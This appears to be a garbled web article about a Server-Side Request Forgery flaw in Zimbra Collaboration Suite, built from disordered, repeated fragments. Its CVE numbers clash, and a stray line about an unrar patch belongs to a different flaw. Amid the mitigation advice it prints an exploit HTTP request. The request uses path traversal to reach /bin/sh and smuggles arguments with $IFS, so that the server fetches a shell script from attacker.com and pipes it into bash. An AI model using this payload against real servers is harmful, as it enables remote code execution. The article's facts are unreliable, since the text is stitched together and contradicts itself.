Look for mailbox.log errors indicating failed authentication proxied to localhost:7071 (admin port).
is a critical security flaw in the Zimbra Collaboration Suite (ZCS) that allows unauthenticated remote attackers to trigger Server-Side Request Forgery (SSRF)
Researchers discovered that CVE-2020-27996 is particularly dangerous when combined with CVE-2020-27995 – an authentication bypass in Zimbra’s ProxyServlet . That flaw allowed an unauthenticated attacker to access any user’s mailbox folder directly, including the Calendar or Briefcase. Chaining them gives:
: The flaw exists in the WebEx Zimlet ( com_zimbra_webex ) when its JSP (Jakarta Server Pages) functionality is enabled. It stems from insufficient validation of user-supplied input. cve20207796 zimbra collaboration suite full
If your business cannot immediately schedule a complete email platform maintenance window, use these structural workarounds:
: If immediate patching is not possible, implement network-level controls to restrict outbound connections from the Zimbra server to only necessary destinations. Monitor logs for suspicious DNS queries or outbound HTTP requests.
The flaw stems from insufficient input validation within a specific application component in the Zimbra platform. When a platform fails to sanitize user-supplied URLs, it allows an attacker to abuse the server as a proxy to make unintended outbound requests. Look for mailbox
An attacker sends a specially crafted HTTP request to the vulnerable Zimbra server. Because the server fails to properly sanitize the destination URL, it fulfills the request on behalf of the attacker. Internal Reconnaissance:
Understanding this vulnerability is crucial for system administrators tasked with maintaining data sovereignty and security within their Zimbra infrastructure. What is CVE-2020-7796?
GET /service/extension/UserServlet?ext=com.zimbra.cs.extension.ExtensionUtil&file=../../../../../../../bin/sh&-c$IFScurl$IFSattacker.com/shell.sh|bash HTTP/1.1 Host: victim.zimbra.com Chaining them gives: : The flaw exists in
The patch updates the unrar binary to a version that addresses the buffer overflow.
To prevent exploitation of this vulnerability, administrators should: